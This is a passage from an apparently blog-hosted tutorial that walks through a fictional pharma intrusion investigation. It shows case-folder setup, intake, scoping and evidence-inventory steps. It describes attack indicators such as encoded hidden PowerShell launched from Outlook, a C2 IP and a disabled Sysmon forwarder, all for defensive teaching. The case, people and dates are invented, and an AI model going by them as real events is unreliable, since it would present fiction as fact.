~/CTI_as_a_Code &amp;&amp; git pull</pre><h4>2. Create your investigations folder</h4><pre>mkdir -p ~/investigations</pre><p>Use any path you prefer — just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.</p><h4>3. Copy the reactive template for this case</h4><pre>cp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11</pre><p>Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:</p><pre>ls ~/investigations/lifetech-2024-11/<br>tree ~/investigations/lifetech-2024-11/</pre><p>Expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*DR69iFmEn8s2K0zCrhXk5A.png"></figure><pre>00-scope/   01-evidence/   02-sources/   03-analysis/<br>04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/<br>README.md   intake-form.md   project.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQn6v0h7KSMb9nw5gfYp8Q.png"></figure><h4>4. Initialize git inside the case folder</h4><pre>cd ~/investigations/lifetech-2024-11<br>git init<br>git add .<br>git commit -m "PROJ-2024-001: scaffold initialized from reactive template"</pre><p>This is commit zero. Its purpose is to prove — to a lawyer, an auditor, or yourself — exactly what state you started from before any analysis began.</p><h4>5. Fill in project.yml</h4><p>This file is the single source of truth for project metadata. Open it now:</p><pre>nano project.yml</pre><p>The template has blank fields. Fill every one(During the investigation):</p><pre>project:<br>  id: "PROJ-2024-001"<br>  name: "LifeTech Pharma — Targeted Intrusion"<br>  type: reactive<br>  classification: TLP:AMBER<br>  status: in-progress<br>analyst:<br>  name: "Your Name"<br>  role: "CTI Analyst"<br>  contact: "your@email.com"<br>timeline:<br>  incident_date: "2024-11-15"<br>  detection_date: "2024-11-15"<br>  investigation_start: "2024-11-15"<br>  report_due: "2024-11-17"         # INCD 72h clock - expires 18:47 IST Nov 17<br>pirs:<br>  - id: PIR-001<br>    question: "Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?"<br>    priority: high<br>    status: open<br>  - id: PIR-002<br>    question: "How did the adversary gain initial access - phishing, credential theft, or exploitation?"<br>    priority: high<br>    status: open<br>  - id: PIR-003<br>    question: "Is there evidence of ongoing access or persistence as of investigation date?"<br>    priority: high<br>    status: open<br>scope:<br>  systems:<br>    - WS-CFO-01<br>    - WS-IT-LEVI<br>    - SERVER-RD-02<br>    - SERVER-FIN-01<br>    - DC01<br>  threat_actor: unknown<br>  attck_techniques: []             # leave blank now - fill during R4<br>deliverables:<br>  - type: executive-brief<br>    status: pending<br>  - type: soc-handoff<br>    status: pending<br>  - type: sigma-rules<br>    count: 0<br>    status: pending<br>notes: "INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only."</pre><p><strong>Do not leave any field as </strong><strong>"" or </strong><strong>[] if you know the value.</strong> Unknown fields are fine — write unknown explicitly. A blank field means "forgot to fill in." unknown means "we looked and do not know yet."</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S90ed0BEsiZXgIu4G3ia5Q.png"></figure><h4>6. Commit the filled metadata</h4><pre>git add project.yml<br>git commit -m "PROJ-2024-001: project.yml filled — 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI"</pre><p>The folder is now named, scoped, and version-controlled. The intake call can begin.</p><h3>Step 0: Intake — What the First Call Captures</h3><p>Before opening Splunk, before pivoting on the C2 IP, before forming a hypothesis — the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work begins.</p><p>The intake captures facts that change what you look for.</p><p><strong>Open the intake form before dialing:</strong></p><pre>cp intake-form.md 00-scope/intake-2024-11-15.md<br>nano 00-scope/intake-2024-11-15.md</pre><p>The template has 9 sections. Work through them in order during the call — do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:</p><pre># Investigation Intake — PROJ-2024-001 — 2024-11-15<br><br>Completed by: On-call CTI analyst (Yael Mizrahi)<br>Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)<br>Call time: 2024-11-15 18:55 IST<br><br>---<br><br>## 1. What was reported?<br><br>**1.1 What did you see or receive that caused you to raise this?**<br>"CrowdStrike fired a high-severity behavioral IOA on Michal Cohen's workstation —<br>PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled the<br>network tab and found 3 outbound connections to 203.0.113.87 over the last 15<br>minutes. This is the CFO's machine. We escalated immediately."<br><br>**1.2 Where did this first come to your attention?**<br>- [x] Alert from SIEM / EDR / AV  ← CrowdStrike Falcon behavioral IOA, severity: High<br><br>**1.3 When did you first notice it?**<br>Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)<br><br>**1.4 Do you believe the activity is still ongoing?**<br>- [x] Yes — still active (C2 connections still firing at time of call)<br><br>---<br><br>## 2. What is already known?<br><br>**2.1 What systems, accounts, or services appear to be involved?**<br>- WS-CFO-01.lifetechpharma.local — Michal Cohen, CFO. Dell Latitude, Windows 11.<br>- 203.0.113.87 — external IP, destination of C2 connections. Not in any allowlist.<br>- OUTLOOK.EXE (PID 2240) → powershell.exe (PID 3784) — parent-child confirmed.<br>- No other hosts identified yet — investigation is 8 minutes old.<br><br>**2.2 What was the observed behavior?**<br>"PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encoded<br>command has not been decoded yet. Three separate TCP connections to 203.0.113.87<br>on port 443 over 15 minutes — looks like a beacon pattern."<br><br>**2.3 Has anyone else already investigated or looked into this?**<br>- [x] Yes — Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).<br>  What did they touch: read-only Splunk queries. No changes to the endpoint.<br><br>**2.4 What do you think happened?**<br>"Probably a phishing email with a malicious attachment — xlsm macro or something<br>similar. Michal must have opened it in the last few hours. We don't know if anyone<br>else was targeted."<br><br>---<br><br>## 3. Timeline of discovery<br><br>**3.1 When do you believe the activity started?**<br>- [ ] Known<br>- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell<br>  launch timestamp from CrowdStrike event).<br><br>**3.2 How long do you estimate the activity has been occurring?**<br>Approximately 13 minutes from first PowerShell event to escalation call (18:42–18:55 IST).<br>However: unknown whether this is the beginning of the intrusion or a later stage.<br><br>**3.3 Is there a specific event that triggered the alert or complaint?**<br>CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalated<br>at 18:47. IR Lead paged at 18:52. Intake call started at 18:55.<br><br>---<br><br>## 4. What has already been done?<br><br>**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**<br>- [x] No — WS-CFO-01 is still running. Not yet isolated.<br><br>**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**<br>- [x] No — no credential changes made yet.<br><br>**4.3 Has any network access been blocked or firewall rules been changed?**<br>- [x] No — 203.0.113.87 has not been blocked. Ran confirmed: "We wanted to check<br>  with you first before blocking — didn't want to tip them off."<br><br>**4.4 Has any malware been deleted or quarantined?**<br>- [x] No — CrowdStrike flagged the process but did not quarantine. Alert status: Detected,<br>  not Prevented (policy is set to Detect-only on this machine — CFO exception policy).<br><br>**4.5 Has anyone notified external parties?**<br>- [x] No — no external notification yet. INCD assessment pending scope confirmation.<br><br>---<br><br>## 5. Systems and access<br><br>**5.1 What logging is expected to exist for the affected systems?**<br>- Endpoint logs (Sysmon, CrowdStrike): [x] Yes — CrowdStrike on WS-CFO-01. Sysmon on<br>  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.<br>- VPN / authentication logs: [x] Yes — Cisco AnyConnect VPN, logs in Splunk.<br>- Database audit logs: [x] Yes — SQL audit on SERVER-RD-02 (partial EIDs only).<br>- Network flow / firewall logs: [x] Yes — Palo Alto NGFW. RETENTION: 14 days only.<br>  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today's traffic.<br>- Email gateway logs: [x] Yes — M365 Message Trace, 30-day retention. ATP enabled.<br>  NOTE: ATP sandbox NOT enabled for xlsm files — policy gap identified.<br>- Cloud provider logs: [x] Yes — Azure AD sign-in logs, 30-day retention.<br><br>**5.2 What tools and access does the analyst have?**<br>- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)<br>- [x] Read access to SIEM (Splunk — full org)<br>- [x] Access to EDR console (CrowdStrike Falcon — full org view)<br>- [x] Access to network equipment / firewall logs (Palo Alto Panorama — read only)<br>- [x] Access to cloud console (Azure AD — Security Reader role)<br>- [x] Access to email gateway (M365 Security &amp; Compliance — Message Trace)<br>- [ ] VPN / jump host credentials — not yet, request submitted<br>- [x] TheHive / OpenCTI lab access<br><br>**5.3 Are there any systems the analyst should NOT touch?**<br>⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.<br>  HR investigation underway — UNRELATED to this incident (employment matter).<br>  Hardware access BLOCKED for 48–72 hours per Legal counsel (Adv. Dina Shapiro).<br>  Remote CrowdStrike RTR is PERMITTED — confirmed by Legal.<br>  No memory image, no disk image, no physical access until hold lifted.<br><br>---<br><br>## 6. Business impact<br><br>**6.1 What business processes are affected or at risk?**<br>"The CFO's email and workstation are involved. If this is a full compromise, finance<br>data is at risk. We also have R&amp;D server SERVER-RD-02 — it holds the formula files<br>for the US licensing deal. That deal closes in 6 weeks. If those files were touched,<br>we have an FDA NDA issue and a $52M deal at risk."<br><br>**6.2 Is customer data, employee data, or regulated data potentially involved?**<br>- [x] Yes — type: proprietary formula files under FDA NDA filing (USPartner2024 package,<br>  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path<br>  extended to finance server.<br><br>**6.3 What is the financial exposure if this is confirmed?**<br>Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli Privacy<br>Protection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: US<br>partner disclosure obligation if formula data confirmed exfiltrated.<br><br>**6.4 Is there a hard deadline driving this investigation?**<br>- [x] Yes — deadline: INCD 72-hour notification window starts from discovery of<br>  breach (not discovery of alert). If formula data or critical infrastructure<br>  involvement confirmed: clock starts NOW → expires 2024-11-17 ~18:47 IST.<br><br>---<br><br>## 7. Regulatory and legal constraints<br><br>**7.1 Are there applicable notification requirements?**<br><br>| Regulation | Applicable? | Deadline | Notified? |<br>|---|---|---|---|<br>| INCD (Israeli critical infrastructure) | TBD — assess after scope confirmed | 72h from discovery | No |<br>| Biometric Database Authority | No — no biometric data at LifeTech | — | N/A |<br>| BoI-CD 362 (Israeli financial) | No — LifeTech is not a financial entity | — | N/A |<br>| GDPR | TBD — EU customers in export data? | 72h from awareness | No |<br>| PCI-DSS | No — no card processing at LifeTech | — | N/A |<br>| Israeli Privacy Protection Law | Yes — employee + partner data in scope | Per PPL — notify DPA if breach confirmed | No |<br>| FDA / NDA obligation | Yes — if formula files confirmed exfiltrated | Immediate notification to US partner | No |<br><br>**7.2 Is there an active legal hold on any systems or data?**<br>- [x] Yes — WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.<br>  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48–72 hours minimum.<br><br>**7.3 Has legal counsel been notified?**<br>- [x] Yes — Adv. Dina Shapiro notified of the security incident at 19:10 IST.<br>  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.<br><br>---<br><br>## 8. Analyst notes<br><br>(Raw notes taken during call — unprocessed)<br><br>- Ran (SOC): "The CFO is still at the office. We haven't told her yet. Should we?"<br>  → IR Lead decision: do not inform CFO until after memory dump. Risk: she might<br>  reboot the machine.<br>- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).<br>  This is why the process was not killed automatically. SOC should evaluate<br>  moving to Prevent for exec machines after this incident.<br>- 203.0.113.87 — not blocklisted anywhere in org. Ran says: "It's clean on our<br>  end, never seen it before." Worth enriching immediately (VirusTotal, Shodan).<br>- Memory dump of WS-CFO-01 is urgent — C2 is still active. Process may have<br>  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.<br>- No mention of SERVER-RD-02 during this call — IR Lead is not aware of the<br>  formula file risk yet. Will scope that separately after evidence inventory.<br>- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold<br>  is coincidental. However: IT admin access + legal hold + security incident<br>  creates a complex situation. Document carefully.<br><br>---<br><br>## 9. Next actions<br><br>| # | Action | Owner | Due |<br>|---|---|---|---|<br>| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate |<br>| 2 | Enrich 203.0.113.87 — VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min |<br>| 3 | Pull M365 Message Trace for m.cohen last 48h — identify delivery vector | Omer (Tier 1) | Within 30 min |<br>| 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 — full available window | Ran (SOC) | Within 1h ⚠ retention risk |<br>| 5 | Check Azure AD sign-in logs for m.cohen and p.levi — last 30 days | Yael (CTI) | Within 1h |<br>| 6 | Confirm SERVER-RD-02 USPartner2024 directory access — pull EID 4663 from Splunk | Yael (CTI) | Within 2h |<br>| 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min |<br>| 8 | Advise IR Lead on INCD 72h clock — confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |<br><br>---<br><br>*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.*<br>*Case opened in TheHive: PROJ-2024-001.*<br>```<br><br>Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.<br><br>The intake commits to git first:</pre><p>Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.</p><p>The intake commits to git first:</p><pre>git add 00-scope/intake-2024-11-15.md<br>git commit -m "PROJ-001: intake — CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope"</pre><h3>Step 1–2: Project Setup and Scope</h3><p>The folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: <strong>you do not start looking at logs until the scope is committed.</strong></p><h4>1. Open the scope document</h4><pre>nano 00-scope/scope.md</pre><pre># Intelligence Source Registry<br><br>**Project:** PROJ-2024-001 — LifeTech Pharma Targeted Intrusion<br><br>Admiralty Scale: Source reliability A (completely reliable) – F (reliability cannot be judged).  <br>Information reliability: 1 (confirmed) – 6 (truth cannot be judged).<br><br>---<br><br>## Internal Sources<br><br>| ID | Source | Type | Admiralty | Notes |<br>|---|---|---|---|---|<br>| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) — covered WS-CFO-01 only. |<br>| INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&amp;D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). |<br>| INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |<br>| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |<br>| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |<br>| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |<br>| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |<br>| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |<br>| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |<br><br>---<br><br>## External / OSINT Sources<br><br>| ID | Source | Type | Admiralty | TLP | Notes |<br>|---|---|---|---|---|---|<br>| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |<br>| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |<br>| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |<br>| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |<br>| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |<br><br>---<br><br>## Source Limitations<br><br>| Source | Known Limitation |<br>|---|---|<br>| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |<br>| CrowdStrike Falcon (INT-002) | Not deployed on R&amp;D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |<br>| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |<br>| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |<br>| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |<br>| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |<br>| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |<br>| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |</pre><p>The template has six sections. Fill each one now:</p><p><strong>Header — fill the four metadata lines at the top:</strong></p><pre>Project: PROJ-2024-001<br>Classification: TLP:AMBER<br>Date scoped: 2024-11-15<br>Scoped by: [your name]<br>Approved by: Noa Ben-David, IR Lead</pre><p><strong>Incident Summary — one paragraph, what triggered this:</strong></p><pre>CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.<br>PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from<br>203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are<br>potentially in scope — US licensing deal ($52M) requires regulatory assessment.</pre><p><strong>In Scope — fill the asset table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCTpI5jIcRRkQ2YqjL8LgQ.png"></figure><p><strong>Out of Scope — fill the exclusion table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9YT7xlqBXmn_mRAm67QwA.png"></figure><p><strong>PIRs — copy from project.yml, add due dates:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fz8_y2Mq8glncIY5VHdEMA.png"></figure><p><strong>Constraints and Assumptions — fill the four fields:</strong></p><pre>Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.<br>  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.<br>Evidence limitations: Palo Alto firewall logs — 14-day retention.<br>  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.<br>  Sysmon absent from all server-class machines.<br>Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.<br>Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.</pre><p><strong>Definition of Done — check the boxes your team has agreed to:</strong></p><pre>- [ ] All PIRs answered or formally deferred with reasoning<br>- [ ] Timeline covers full attacker dwell period (or gap documented)<br>- [ ] ATT&amp;CK mapping reviewed and finalized<br>- [ ] At least one detection rule per confirmed TTP<br>- [ ] SOC handoff delivered and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data confirmed</pre><p>Full scope.md:</p><pre># Scope Definition<br><br>**Project:** PROJ-2024-001<br>**Classification:** TLP:AMBER<br>**Date scoped:** 2024-11-15<br>**Scoped by:** Yael Mizrahi (CTI Analyst)<br>**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST<br><br>---<br><br>## Incident Summary<br><br>CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on<br>2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound<br>C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of<br>compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator<br>of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,<br>47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,<br>FDA NDA obligations). INCD 72h notification clock assessed as active from time of<br>discovery.<br><br>---<br><br>## In Scope<br><br>| Asset / System | Owner | Justification |<br>|---|---|---|<br>| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |<br>| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |<br>| SERVER-RD-02.lifetechpharma.local | R&amp;D Dept | Formula file storage — PIR-001 primary asset |<br>| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |<br>| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |<br>| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |<br>| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |<br>| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |<br><br>---<br><br>## Out of Scope<br><br>| Asset / System | Reason for Exclusion |<br>|---|---|<br>| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |<br>| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |<br>| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |<br>| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |<br><br>---<br><br>## Priority Intelligence Requirements (PIRs)<br><br>| ID | Question | Priority | Due | Status |<br>|---|---|---|---|---|<br>| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |<br><br>---<br><br>## Constraints and Assumptions<br><br>- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17<br>  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data<br>  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed<br>  exfiltrated — no specific deadline but immediate notification is standard practice.<br>- **Evidence limitations:**<br>  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6<br>    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**<br>  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).<br>  - CrowdStrike NOT deployed on R&amp;D server fleet (12 servers) or DC01.<br>  - DC01 Windows Security log: only partial export available — full log inaccessible.<br>  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.<br>- **Access restrictions:**<br>  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted<br>    with full session logging. Contact Adv. Dina Shapiro before any exception.<br>  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).<br>- **Assumptions:**<br>  - All log timestamps assumed UTC unless explicitly marked IST in source.<br>  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).<br>  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.<br><br>---<br><br>## Stakeholders<br><br>| Name | Role | Involvement |<br>|---|---|---|<br>| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |<br>| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |<br>| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |<br>| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |<br>| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |<br><br>---<br><br>## Definition of Done<br><br>This investigation is complete when:<br><br>- [ ] All three PIRs answered or formally deferred with documented reasoning<br>- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)<br>- [ ] ATT&amp;CK mapping completed and reviewed — all confirmed techniques have a gap type<br>- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap<br>- [ ] SOC handoff document delivered to Ran Katz and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)<br>- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)<br>- [ ] project.yml status set to `closed` and all PIR statuses updated</pre><h4>2. Save the file and commit</h4><pre>git add 00-scope/scope.md<br>git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"</pre><p><strong>The firewall log retention deadline drives everything.</strong> SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.</p><h3>Step R1: Evidence Inventory — What Exists and What Is Missing</h3><p>The evidence inventory runs before analysis. The rule: <strong>you do not analyze what you have not inventoried.</strong></p><h4>1. Open the source registry</h4><pre>nano 02-sources/source-registry.md</pre><p>The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.</p><h4>2. Fill in what you have</h4><p>For each log source, fill four fields: <strong>Source name</strong>, <strong>System(s) it covers</strong>, <strong>Admiralty reliability rating</strong>, and <strong>any known gap</strong>. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.</p><p>For LifeTech, the completed source registry drives this inventory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mt6DCDNVu6YThxF6WCowcg.png"></figure><p><strong>GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024</strong></p><pre>Duration: 10 days<br>Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with<br>  the day the IT admin received a phishing email.<br>What is missing: process creation (EID 1), network connections (EID 3),<br>  file creation (EID 11) for this host during this entire window.<br>Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI<br>  between Oct 22 and Nov 1. All claims about this period are INFERRED<br>  or HYPOTHESIZED unless supported by alternative sources (VPN logs,<br>  DC authentication logs, firewall flows).<br>Possible cause: Deliberate anti-forensic technique — terminating Sysmon<br>  service is a known evasion method.</pre><p>The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.</p><h4>3. Create a GAP document for every gap</h4><p>Each gap gets its own file. Create it now:</p><pre>nano 01-evidence/GAP-001-ws-it-levi-sysmon.md</pre><p>Paste the filled template:</p><pre># GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01<br>Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)<br>Root cause: Sysmon forwarder stopped. Coincides exactly with delivery<br>  of phishing email to p.levi at 11:23 UTC.<br>What is missing: EID 1 (process creation), EID 3 (network connections),<br>  EID 11 (file creation) for WS-IT-LEVI during this entire window.<br>Impact: Cannot confirm or rule out attacker activity during this period.<br>  All claims covering Oct 22–Nov 1 on this host are INFERRED or<br>  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or<br>  firewall flows.<br>Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair<br>  Defenses). A gap coinciding with a malicious delivery is itself a<br>  finding, not merely an absence.</pre><h4>4. Commit the evidence inventory</h4><pre>git add 01-evidence/ 02-sources/source-registry.md<br>git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"</pre><h3>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</h3><p>The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.</p><h4>Setup — Open the Evidence Folder</h4><pre># One command opens the entire evidence directory as a workspace<br>code ~/investigations/lifetech-2024-11/01-evidence/</pre><p>VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click 